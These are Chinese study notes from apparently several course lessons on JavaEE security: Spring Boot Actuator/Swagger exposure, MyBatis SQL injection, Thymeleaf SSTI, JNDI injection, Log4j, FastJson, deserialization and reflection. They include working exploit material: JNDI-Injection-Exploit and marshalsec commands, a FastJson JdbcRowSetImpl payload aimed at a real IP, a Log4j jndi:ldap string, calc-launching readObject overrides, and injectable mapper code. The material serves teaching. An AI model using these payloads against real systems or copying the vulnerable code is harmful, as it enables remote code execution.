0%

思维导图

22安全开发

知识点:

  • 47、JavaEE-SpringBoot-监控系统-Actuator
  • 48、JavaEE-SpringBoot-接口系统-Swagger
  • 49、JavaEE-SpringBoot-监控&接口&安全问题

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,,架构分析待补充

SpringBoot-监控系统-Actuator

        SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。
-开发使用:

1、引入依赖

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

2、配置监控

  • 暴露:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #application.properties
    management.endpoints.web.exposure.include=*

    #application.yml
    management:
    endpoints:
    web:
    exposure:
    include: '*'
  • 安全配置:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #application.properties
    management.endpoint.env.enabled=false
    management.endpoint.heapdump.enabled=false

    #application.yml
    management:
    endpoint:
    heapdump:
    enabled: false #启用接口关闭
    env:
    enabled: false #启用接口关闭
  • 2、1 图像化Server&Client端界面
    Server:引入Server依赖-开启(@EnableAdminServer)
    Client:引入Client依赖-配置(连接目标,显示配置等)

3、安全问题

SpringBoot-接口系统-Swagger

        Swagger是当下比较流行的实时接口文文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。
参考:https://blog.csdn.net/lsqingfeng/article/details/123678701

开发使用

  • 1、引入依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <--2.9.2版本-->
    <dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger2</artifactId>
    <version>2.9.2</version>
    </dependency>
    <dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger-ui</artifactId>
    <version>2.9.2</version>
    </dependency>

    <--3.0.0版本-->
    <dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-boot-starter</artifactId>
    <version>3.0.0</version>
    </dependency>
  • 2、配置访问

    1
    2
    3
    4
    5
    6
    7
    8
    #application.properties
    spring.mvc.pathmatch.matching-strategy=ant-path-matcher

    #application.yml
    spring
    mvc:
    pathmatch:
    matching-strategy: ant_path_matcher

    2.X版本启动需要注释@EnableSwagger2
    3.X版本不需注释,写的话是@EnableOpenApi
    2.X访问路径:http://ip:port/swagger-ui.html
    3.X访问路径:http://ip:port/swagger-ui/index.html

  • 3、安全问题
    自动化测试:Postman
    泄漏应用接口:用户登录,信息显示,上传文件等
    可用于对未授权访问,信息泄漏,文件上传等安全漏洞的测试.

思维导图

22安全开发

知识点:

  • 44、JavaEE-SpringBoot-WebAPP&路由
  • 45、JavaEE-SpringBoot-Mybatis&注入
  • 46、JavaEE-SpringBoot-Thymeleaf&SSTI

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

SpringBoot

        Spring Boot是由Pivotal团队提供的一套开源框架,可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能,降低了复杂性,同时支持基于JVM的多种开源框架,可以缩短开发时间,使开发更加简单和高效。

SpringBoot-Web应用-路由响应

参考:https://springdoc.cn/spring-boot/

  • 1、路由映射
    1
    @RequestMapping @GetMapping等  
  • 2、参数传递
    1
    @RequestParam  
  • 3、数据响应
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    @RestController @Controller  
    @RestController注解相当于@ResponseBody@Controller合在一起的作用。 (需要return时使用)


    @RestController
    public class HelloController {
    //无参数访问响应
    @RequestMapping("/xiaodi")
    public String hello() {
    return "hello xiaodi";
    }
    //无参数指向GET方法访问响应
    @RequestMapping(value = "/get",method = RequestMethod.GET)
    public String helloGet(){
    return "hello get xiadi";
    }
    //有参数指向GET方法访问响应
    @RequestMapping(value = "/getp",method = RequestMethod.GET)
    public String hellogetp(String name){
    return "hello get "+name;
    }
    //有参数指向POST方法访问响应
    @RequestMapping(value = "/getpost",method = RequestMethod.POST)
    public String helloGetParameters(String name){
    return "hello POST "+name;
    }
    }

SpringBoot-数据库应用-Mybatis

  • 1、数据库先创建需操作的数据

  • 2、项目添加Mybatis&数据库驱动

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    -pom.xml
    <dependency>
    <groupId>org.mybatis.spring.boot</groupId>
    <artifactId>mybatis-spring-boot-starter</artifactId>
    <version>2.2.2</version>
    </dependency>
    <dependency>
    <groupId>com.mysql</groupId>
    <artifactId>mysql-connector-j</artifactId>
    <scope>runtime</scope>
    </dependency>
  • 3、项目配置数据库连接信息

    1
    2
    3
    4
    5
    6
    7
    -application.yml
    spring:
    datasource:
    url: jdbc:mysql://localhost:3306/demo01
    username: root
    password: 123456
    driver-class-name: com.mysql.cj.jdbc.Driver
  • 4、创建User类用来操作数据库数据
    -com.example.demo.entity.User
    set get toString方法

  • 5、创建Mapper动态接口代理类实现

    1
    2
    3
    4
    5
    6
    -com.example.demo.mapper.UserMapper  
    @Mapper
    public interface UserMapper {
    @Select("select * from admin where id like '%${id}%'")
    public List<User> findAll(Integer id);
    }
  • 6、创建Controller实现Web访问调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    -com.example.demo.controller.UserController
    @RestController
    public class UserController {
    @Autowired
    private UserMapper userMapper;
    @RequestMapping(value = "/getdata",method = RequestMethod.GET)
    //@ResponseBody
    public List<User> getdata(Integer id) {
    List<User> all = userMapper.findAll(id);
    System.out.println(all);
    return all;
    }
    }

SpringBoot-模版引擎-Thymeleaf

-不安全的模版版本
日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题
漏洞参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg
(Thymeleaf漏洞参考)
配置application.properties指向模版页面
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@RequestMapping(value = "/")
public String index(Model model) {
model.addAttribute("data","hello xiaodi");
return "index";
}
@GetMapping("/path")
public String thymeleaf(String lang) {
return lang;
}

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.springframework</groupId>
<artifactId>java-spring-thymeleaf</artifactId>
<version>1.0</version>

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<!--latest-->
<version>2.2.0.RELEASE</version>
</parent>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

</dependencies>

<properties>
<java.version>1.8</java.version>
</properties>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

思维导图

22安全开发

知识点:

  • 41、JavaEE-JNDI注入-RMI&LDAP
  • 42、JavaEE-漏洞结合-FastJson链
  • 43、JavaEE-漏洞条件-JDK版本绕过

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充


JNDI注入

思考明白:
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考:https://blog.csdn.net/dupei/article/details/120534024

JNDI注入-RMI&LDAP服务

[将JNDI规范看成是一个让配置参数和代码解耦的一种规范和思想会更好理解一些。比如说常见的在DAO层通过原始的JDBC来连接数据库,我们可以选择在代码中直接写入数据库的连接参数,但一旦数据源发生变更,我们就势必要改动代码后重新编译才能连接新的数据源。而如果我们将数据库连接参数改成外部配置的方式,那么也就实现了配置和代码之间的解耦]
        JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:

        Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 javax.naming.InitialContext.lookup()(专门实现jndi注入的)

  • 在RMI服务中调用了InitialContext.lookup()的类有:

    1
    2
    3
    4
    org.springframework.transaction.jta.JtaTransactionManager.readObject()
    com.sun.rowset.JdbcRowSetImpl.execute()
    javax.management.remote.rmi.RMIConnector.connect()
    org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
  • 在LDAP服务中调用了InitialContext.lookup()的类有:

    1
    2
    3
    InitialDirContext.lookup()
    Spring LdapTemplate.lookup()
    LdapTemplate.lookupContext()

JNDI远程调用-JNDI-Injection

基于工具自主定义(节省下述2,4步骤)

  • 1、使用远程调用(默认端口1389)
    1
    2
    new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
    new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
  • 2、使用利用工具生成调用地址
    1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx    (其实这里jndi工具会自动在服务端生成一个执行calc的class文件)

JNDI远程调用-marshalsec

  • 1、使用远程调用(默认端口1389)
    1
    2
    new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
    new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
  • 2、编译调用对象
    javac Test.java
  • 3、使用利用工具生成调用协议(rmi,ldap)
    1
    2
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
  • 4、将生成的Class存放访问路径

JNDI-Injection & marshalsec 实现原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
例:RMI调用  
//bind:将名称绑定到对象中;
//lookup:通过名字检索执行的对象;
//Reference类表示对存在于命名/目录系统以外的对象的引用。
//Reference参数:
//className:远程加载时所使用的类名;
//classFactory:加载的class中需要实例化类的名称;
//classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

Registry registry= LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
        漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

  • 1、报错判断FastJson
  • 2、生成远程调用方法
    1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117
  • 3、提交JSON数据Payload
    1
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}

JNDI注入-JDK高版本注入绕过

  • JDK 6u45、7u21之后:
            java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

  • JDK 6u141、7u131、8u121之后:
            增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

  • JDK 6u211、7u201、8u191之后:
            增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
    禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

思维导图

22安全开发

知识点:

  • 38、JavaEE-组件安全-Log4j
  • 39、JavaEE-组件安全-Fastjson
  • 40、JavaEE-基本了解-JNDI-API

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

三方组件

Jar仓库:
https://mvnrepository.com/

Maven配置:
https://www.jb51.net/article/259780.htm

JNDI注入:(见图)
        Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

Java-三方组件-Log4J&JNDI

Log4J:

        Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

1、Maven引用Log4j
2、接受用户输入值
3、Log4j处理错误输入
4、利用jndi-ldap执行

1
2
3
4
5
6
7
Test:
String code="test";
String code="${java:os}";
logger.error("{}",code);
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
服务器:
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

Java-三方组件-FastJson&反射

FastJson:

[将数据格式修改为json,并加入json数据,如果没有源代码,那么类名一般就写公有类,value值写成”247b6a6e64693a6c6461702f2f7878787d”格式。(这串字符用ASCII hex解码即可看到,因为这里直接写出来会屏蔽)]
        在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1、Maven引用Fastjson
2、创建需转换类对象User
3、使用Fastjson进行数据转换
4、数据转换(对象转Json,Json转对象)

1
2
3
4
5
6
7
8
-对象转Json(带类型)  
JSONObject.toJSONString(u)
JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
-Json转对象
JSON.parseObject(exp)

Test:
Runtime.getRuntime().exec("calc");

服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891

思维导图

22安全开发

知识点:

  • 35、JavaEE-反序列化-解释&使用&安全
  • 36、JavaEE-安全-利用链&直接重写方法
  • 37、JavaEE-安全-利用链&外部重写方法

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充


序列化/反序列化技术

  • 1、序列化与反序列化
    序列化:将内存中的对象压缩成字节流
    反序列化:将字节流转化成内存中的对象

  • 2、为什么有序列化技术
    序列化与反序列化的设计就是用来传输数据的。
    当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
    能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
    应用场景
    (1) 想把内存中的对象保存到一个文件中或者是数据库当中。
    (2) 用套接字在网络上传输对象。
    (3) 通过RMI传输对象的时候。

  • 3、几种创建的序列化和反序列化协议
    • JAVA内置的writeObject()/readObject()
            如果对方使用的是这种方法,那么就可以利用hashmap或重写来触发readObject,如果对方打印输出了反序列化结果,那么也可以利用toString来实现攻击。但是上述的这些方法,都取决于对方用的序列化与反序列化协议是writeObject与readObject。(攻击原理有3种,第1就是重写readObject,对方反序列化时由于用到了readObject,那么此时就会去调用readObject这个方法,但是如果我们自己也写了个与java本身的readObject名称一样的方法,那么对方执行的时候会将系统本身的readObject与我们写的readObject方法都执行一遍,假设我们写的readObject设定了弹出cmd,那么对方反序列化的时候就会弹出cmd。)
            第2种攻击方法hashmap,原理就是hashmap本身自己就定义了readObject,且这个readObject是自带的,且hashmap中的readObject会自动解析dns,也就是说如果我们塞进去的是一个危险网页,那么它一样会进行访问,如果这个网页中存在挂马之类的东西,危害可想而知。当然,第二种方法想要实现,那么对方必须同时使用hashmap和readObject。
            第3种攻击方法就是toString方法。如果对方在反序列化的时候同时输出了结果,那么就会执行toString中的代码,如果我们在代码中输入了打开计算器,那么对方在打印结果的时候就会自动打开计算器。这种方法必须得对方打印了反序列化的输出结果才有用,否则不生效。
            上述方法的这些方法必须建立在对方序列化与反序列化时,使用的是writeObject与readObject,否则都是不生效的。对方使用的序列化与反序列化的方法不同,那么我们的攻击方式也会有所不同,上述的攻击方法都建立在readObject的利用上,所以对方一旦使用的不是readObject,那么这些方法就会失效。
    • JAVA内置的XMLDecoder()/XMLEncoder
    • XStream
    • SnakeYaml
    • FastJson
    • Jackson

  • 4、为什么会出现反序列化安全问题
    内置原生写法分析
    • 重写readObject方法
    • 输出调用toString方法

  • 5、反序列化利用链
    (1) 入口类的readObject直接调用危险方法
    (2) 入口参数中包含可控类,该类有危险方法,readObject时调用
    (3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
    (4) 构造函数/静态代码块等类加载时隐式执行(例如:tostring)

Java-原生使用-序列化&反序列化

1
2
3
4
5
6
7
8
9
10
11
//进行序列化对象并写入文件ser.txt
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
//读入Filename进行反序列化
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}

Java-安全问题-重写方法&触发方法

1
2
3
4
5
6
7
8
9
10
11
12
toString //输出调用toString方法
User u = new User("xdsec","man",30);
System.out.println(u);
serializeTest(u);
unserializeTest("ser.txt");

readObject //序列化后被重写readObject调用
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}

Java-安全问题-可控其他类重写方法

参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

UrlDNS.java

package com.example.serdemo;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDNS implements Serializable {

public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url=new URL("http://xxxx.dnslog.cn");
hashmap.put(url,1);
//进行序列化对象hashmap
serializeTest(hashmap);
//进行反序列化dns.txt
unserializeTest("dns.txt");
}

public static void serializeTest(Object obj) throws IOException {
//进行序列化对象并写入文件dns.txt
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
}
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
//读入Filename进行反序列化
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();//默认调用ObjectInputStream里的readObject();
return o;
}
}

思维导图

22安全开发

知识点:

  • 32、JavaEE-反射机制-开发和安全应用场景
  • 33、JavaEE-反射机制-类&成员变量&方法&构造方法操作
  • 34、JavaEE-反射机制-安全应用&反射执行&反序列化链相关

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充




Java反射

  • 1、什么是Java反射
    参考:https://xz.aliyun.com/t/9117
    Java提供了一套反射API,该API由Class类与java.lang.reflect类库组成。
    该类库包含了Field、Method、Constructor等类。
    对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。

  • 2、为什么要用到反射
    参考:https://xz.aliyun.com/t/9117
            其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可)

  • 3、反射机制应用
    开发应用场景:
    Spring框架的IOC基于反射创建对象和设置依赖属性。
    SpringMVC的请求调用对应方法,也是通过反射。
    JDBC的Class#forName(String className)方法,也是使用反射。

  • 4、安全应用场景:
    构造利用链,触发命令执行
    反序列化中的利用链构造
    动态获取或执行任意类中的属性或方法
    动态代理的底层原理是反射技术
    rmi反序列化也涉及到反射操作

Java-反射-Class对象类获取

1
2
3
4
5
6
7
8
9
10
//1、根据类名:类名.class
Class userClass = User.class;
//2、根据对象:对象.getClass()
User user = new User();
Class aClass = user.getClass();
//3、根据全限定类名:Class.forName("全路径类名")
Class aClass1 = Class.forName("com.example.reflectdemo.User");
//4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class aClass2 = clsload.loadClass("com.example.reflectdemo.User");

Java-反射-Field成员变量类获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Class aClass = Class.forName("com.example.reflectdemo.User");
//获取公共成员变量对象
Field[] fields=aClass.getFields();
for(Field f:fields){
System.out.println(f);
}

//获取所有成员变量对象
Field[] fields=aClass.getDeclaredFields();
for(Field f:fields){
System.out.println(f);
}

//获取公共,私有单个成员变量对象
Field field=aClass.getField("age");
Field field=aClass.getDeclaredField("gender");
System.out.println(field);

//城边变量值获取和赋值
User u = new User();
Field field=aClass.getField("age");
field.set(u,30);
Object a=field.get(u);
System.out.println(a);

Java-反射-Method成员方法类获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Class aClass = Class.forName("com.example.reflectdemo.User");

//返回所有公共成员方法对象的数组,包括继承的
Method[] methods = aClass.getMethods();
for (Method me:methods){
System.out.println(me);
}

//返回所有成员方法对象的数组,不包括继承的
Method[] methods = aClass.getDeclaredMethods();
for (Method me:methods){
System.out.println(me);
}

//返回单个公共成员方法对象
Method methods = aClass.getMethod("getName");
System.out.println(methods);

Method methods = aClass.getMethod("setName", String.class);
System.out.println(methods);

//返回单个成员方法对象
Method methods = aClass.getDeclaredMethod("UserInfo", String.class, int.class, String.class);
System.out.println(methods);

//运行方法invoke
Method methods = aClass.getDeclaredMethod("UserInfo", String.class, int.class, String.class);
User u = new User();
//私有需要开启临时
methods.setAccessible(true);
methods.invoke(u,"xiaodi",18,"man");

Java-反射-Constructor构造方法类获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Class aClass = Class.forName("com.example.reflectdemo.User");
//返回所有公共构造方法对象的数组
Constructor[] constructors = aClass.getConstructors();
for(Constructor con:constructors){
System.out.println(con);
}

//返回所有构造方法对象的数组
Constructor[] constructors = aClass.getDeclaredConstructors();
for(Constructor con:constructors){
System.out.println(con);
}

//返回单个公共构造方法对象
Constructor con1=aClass.getConstructor();
Constructor con1=aClass.getConstructor(String.class);
System.out.println(con1);

//返回单个构造方法对象
Constructor con2=aClass.getDeclaredConstructor(int.class);
Constructor con2=aClass.getDeclaredConstructor(String.class,int.class, String.class);
System.out.println(con2);

Constructor con2=aClass.getDeclaredConstructor(int.class);
con2.setAccessible(true);
